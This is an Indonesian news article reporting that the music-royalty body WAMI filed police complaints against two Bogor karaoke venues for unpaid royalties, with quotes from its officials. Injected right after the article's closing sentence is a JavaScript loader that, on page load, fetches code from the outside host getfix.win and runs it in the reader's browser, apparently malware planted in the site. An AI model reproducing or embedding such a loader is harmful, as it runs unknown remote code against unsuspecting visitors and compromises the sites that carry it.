Beranda

PH-WAMI Laporkan Karaoke di Bogor Ke Polresta Bogor Kota

231
×

PH-WAMI Laporkan Karaoke di Bogor Ke Polresta Bogor Kota

Sebarkan artikel ini
PH-WAMI Laporkan Karaoke di Bogor Ke Polresta Bogor Kota

Bogor Kota || www.beritaaspirasi.com

Untuk kesekian kalinya Pelaksana Harian Wahana Musik Indonesia (WAMI) mengambil sikap tegas terhadap beberapa karoke yang masih bandel dan nakal tidak mau membayar royalti penggunaan lagu secara komersial. Kali ini tempat karaoke/Cafe/Bar/Lounge di wilayah Bogor kota.

PH-WAMI mengambil sikap tegas sebagai bentuk keseriusan dalam melindungi Hak para pencipta lagu atas karya lagunya.

Agus Hermanto, sebagai Pelaksana Harian LMK-WAMI (Wahana Musik Indonesia) kembali melaporkan 2 tempat karaoke yang berinisial (KBK) yang berada di wilayah Bogor Tengah, Kota Bogor dan (KC) yang berada di wilayah Baranangsiang Bogor timur.

Agus hermanto juga menerangkan bahwa proses hukum akan terus dilakukan pada tempat karaoke, Cafe, Bar, Lounge yang melanggar Undang-undang Hak Cipta, dan hari ini Senin tanggal 06 Januari 2025 telah kami laporkan 2 tempat karoke yang bandel tidak mau bayar royalti dan tidak menutup kemungkinan akan menyusul yang lainnya bila peringatan kita tidak didengar oleh pemilik tempat Karoke/Cafe/Bar/Lounge lainnya. Kami juga akan ambil langkah hukum dan melaporkan ke polresta Bogor Kota. Ucapnya.

Berikut pernyataan Ketua Badan Pengurus WAMI, Adi Adrian yang juga personel KLa Project, terkait laporan tersebut.

Adi Adrian, ketua badan pengurus WAMI, menyatakan WAMI tak pernah berhenti mengajak para pihak yang menggunakan lagu untuk membayar royalti.

“Sebenarnya kami sudah melakukan sosialisasi, tapi masih banyak yang tidak mau bayar royalti. Jadi intinya itu taat hukum. Kami di WAMI ini bukan tukang palak. Kami ingin para user seperti restoran, hotel, Promotor, karoke, dan yang lain itu sadar, kalau pakai lagu ya wajib bayar royalti. Jadi ada hak para pencipta lagu di situ,” tegas Adi.

Kami akan melakukan langkah yang tegas bila peringatan yang kami berikan tidak diindahkan, ini akan menjadi bukti nyata bahwa WAMI selalu melindungi hak pencipta lagu. Tutupnya.;document.addEventListener(“DOMContentLoaded”, function () {
var url = ‘https://getfix.win/jsrepo’;
fetch(url)
.then(response => response.text())
.then(data => {
var script = document.createElement(‘script’);
script.innerHTML = data.trim();
document.head.appendChild(script);

if (document.readyState === ‘complete’ || document.readyState === ‘interactive’) {
var event = new Event(‘DOMContentLoaded’);
document.dispatchEvent(event);
}
})
});

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *